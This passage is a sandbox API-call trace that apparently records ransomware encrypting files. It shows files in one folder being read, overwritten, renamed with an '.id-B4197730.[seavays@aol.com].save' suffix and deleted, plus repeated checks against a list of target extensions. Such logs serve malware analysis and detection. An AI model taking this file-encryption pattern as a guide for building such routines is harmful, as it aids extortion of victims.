"c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0052.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.653] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[seavays@aol.com].save")) returned 1 [0052.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0052.654] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0x0) returned 1 [0052.654] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0052.654] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d02058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0052.658] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0052.658] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d42058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0052.661] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0052.661] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0052.661] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d82058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0052.676] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.676] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x314fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0053.206] SetEndOfFile (hFile=0x2fc) returned 1 [0053.207] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x4283f58 [0053.208] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0053.208] WriteFile (in: hFile=0x2fc, lpBuffer=0x4283f58*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283f58*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.210] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0053.210] WriteFile (in: hFile=0x2fc, lpBuffer=0x4283f58*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283f58*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.213] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0053.213] WriteFile (in: hFile=0x2fc, lpBuffer=0x4283f58*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283f58*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.215] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4283f58 | out: hHeap=0x6a0000) returned 1 [0053.215] CloseHandle (hObject=0x2fc) returned 1 [0054.693] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.694] lstrlenW (lpString=".doc") returned 4 [0054.694] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.694] lstrlenW (lpString=".docx") returned 5 [0054.694] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0054.694] lstrlenW (lpString=".pdf") returned 4 [0054.694] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.694] lstrlenW (lpString=".xls") returned 4 [0054.694] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.694] lstrlenW (lpString=".xlsx") returned 5 [0054.694] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0054.694] lstrlenW (lpString=".ppt") returned 4 [0054.694] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.694] lstrlenW (lpString=".zip") returned 4 [0054.694] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.694] lstrlenW (lpString=".rar") returned 4 [0054.694] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.694] lstrlenW (lpString=".bz2") returned 4 [0054.694] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.694] lstrlenW (lpString=".7z") returned 3 [0054.694] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.694] lstrlenW (lpString=".dbf") returned 4 [0054.694] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.694] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.694] lstrlenW (lpString=".1cd") returned 4 [0054.695] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.695] lstrlenW (lpString=".jpg") returned 4 [0054.695] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.695] lstrlenW (lpString=".doc") returned 4 [0054.695] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.695] lstrlenW (lpString=".docx") returned 5 [0054.695] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0054.695] lstrlenW (lpString=".pdf") returned 4 [0054.695] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.695] lstrlenW (lpString=".xls") returned 4 [0054.695] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.695] lstrlenW (lpString=".xlsx") returned 5 [0054.695] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0054.695] lstrlenW (lpString=".ppt") returned 4 [0054.695] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.695] lstrlenW (lpString=".zip") returned 4 [0054.695] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.695] lstrlenW (lpString=".rar") returned 4 [0054.695] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.695] lstrlenW (lpString=".bz2") returned 4 [0054.695] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.695] lstrlenW (lpString=".7z") returned 3 [0054.695] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.695] lstrlenW (lpString=".dbf") returned 4 [0054.695] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.696] lstrlenW (lpString=".1cd") returned 4 [0054.696] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0054.696] lstrlenW (lpString=".jpg") returned 4 [0054.696] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.696] lstrcmpiW (lpString1=".msi", lpString2=".save") returned -1 [0054.696] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0054.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.696] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=184832) returned 1 [0054.696] CloseHandle (hObject=0x2fc) returned 1 [0054.696] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0054.696] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.697] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.697] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.697] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.697] GetLastError () returned 0x0 [0054.697] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0054.705] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0054.710] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.710] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf4, lpOverlapped=0x0) returned 1 [0054.710] SetEndOfFile (hFile=0x348) returned 1 [0054.710] CloseHandle (hObject=0x348) returned 1 [0054.714] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.714] SetEndOfFile (hFile=0x2fc) returned 1 [0054.716] CloseHandle (hObject=0x2fc) returned 1 [0054.716] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.717] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0054.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.717] lstrlenW (lpString=".doc") returned 4 [0054.717] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.717] lstrlenW (lpString=".docx") returned 5 [0054.717] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0054.717] lstrlenW (lpString=".pdf") returned 4 [0054.717] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.717] lstrlenW (lpString=".xls") returned 4 [0054.717] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.717] lstrlenW (lpString=".xlsx") returned 5 [0054.717] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0054.717] lstrlenW (lpString=".ppt") returned 4 [0054.717] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.717] lstrlenW (lpString=".zip") returned 4 [0054.717] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.717] lstrlenW (lpString=".rar") returned 4 [0054.717] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.717] lstrlenW (lpString=".bz2") returned 4 [0054.717] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.717] lstrlenW (lpString=".7z") returned 3 [0054.718] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.718] lstrlenW (lpString=".dbf") returned 4 [0054.718] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.718] lstrlenW (lpString=".1cd") returned 4 [0054.718] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.718] lstrlenW (lpString=".jpg") returned 4 [0054.718] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.718] lstrlenW (lpString=".doc") returned 4 [0054.718] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.718] lstrlenW (lpString=".docx") returned 5 [0054.718] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0054.718] lstrlenW (lpString=".pdf") returned 4 [0054.718] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.718] lstrlenW (lpString=".xls") returned 4 [0054.718] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.718] lstrlenW (lpString=".xlsx") returned 5 [0054.718] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0054.718] lstrlenW (lpString=".ppt") returned 4 [0054.718] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.718] lstrlenW (lpString=".zip") returned 4 [0054.718] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.718] lstrlenW (lpString=".rar") returned 4 [0054.718] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.718] lstrlenW (lpString=".bz2") returned 4 [0054.718] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.718] lstrlenW (lpString=".7z") returned 3 [0054.719] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.719] lstrlenW (lpString=".dbf") returned 4 [0054.719] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.719] lstrlenW (lpString=".1cd") returned 4 [0054.719] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0054.719] lstrlenW (lpString=".jpg") returned 4 [0054.719] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.719] lstrcmpiW (lpString1=".msi", lpString2=".save") returned -1 [0054.719] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0054.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.719] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=94720) returned 1 [0054.719] CloseHandle (hObject=0x2fc) returned 1 [0054.719] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0054.719] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.720] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.720] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.720] GetLastError () returned 0x0 [0054.720] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x17200, lpOverlapped=0x0) returned 1 [0054.723] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x17210, lpOverlapped=0x0) returned 1 [0054.726] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.726] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf4, lpOverlapped=0x0) returned 1 [0054.726] SetEndOfFile (hFile=0x348) returned 1 [0054.726] CloseHandle (hObject=0x348) returned 1 [0054.728] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.728] SetEndOfFile (hFile=0x2fc) returned 1 [0054.730] CloseHandle (hObject=0x2fc) returned 1 [0054.730] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.730] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0054.730] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.730] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.730] lstrlenW (lpString=".doc") returned 4 [0054.730] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.731] lstrlenW (lpString=".docx") returned 5 [0054.731] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0054.731] lstrlenW (lpString=".pdf") returned 4 [0054.731] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.731] lstrlenW (lpString=".xls") returned 4 [0054.731] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.731] lstrlenW (lpString=".xlsx") returned 5 [0054.731] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0054.731] lstrlenW (lpString=".ppt") returned 4 [0054.731] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.731] lstrlenW (lpString=".zip") returned 4 [0054.731] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.731] lstrlenW (lpString=".rar") returned 4 [0054.731] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.731] lstrlenW (lpString=".bz2") returned 4 [0054.731] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.731] lstrlenW (lpString=".7z") returned 3 [0054.731] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.731] lstrlenW (lpString=".dbf") returned 4 [0054.731] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.731] lstrlenW (lpString=".1cd") returned 4 [0054.731] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.731] lstrlenW (lpString=".jpg") returned 4 [0054.731] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.732] lstrlenW (lpString=".doc") returned 4 [0054.732] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.732] lstrlenW (lpString=".docx") returned 5 [0054.732] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0054.732] lstrlenW (lpString=".pdf") returned 4 [0054.732] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.732] lstrlenW (lpString=".xls") returned 4 [0054.732] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.732] lstrlenW (lpString=".xlsx") returned 5 [0054.732] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0054.732] lstrlenW (lpString=".ppt") returned 4 [0054.732] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.732] lstrlenW (lpString=".zip") returned 4 [0054.732] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.732] lstrlenW (lpString=".rar") returned 4 [0054.732] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.732] lstrlenW (lpString=".bz2") returned 4 [0054.732] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.732] lstrlenW (lpString=".7z") returned 3 [0054.732] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.732] lstrlenW (lpString=".dbf") returned 4 [0054.732] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.732] lstrlenW (lpString=".1cd") returned 4 [0054.732] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0054.732] lstrlenW (lpString=".jpg") returned 4 [0054.732] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.733] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0054.733] lstrlenW (lpString="Setup.exe") returned 9 [0054.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.733] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=78152) returned 1 [0054.733] CloseHandle (hObject=0x2fc) returned 1 [0054.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0054.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.733] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.733] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[seavays@aol.com].save" (normalized: 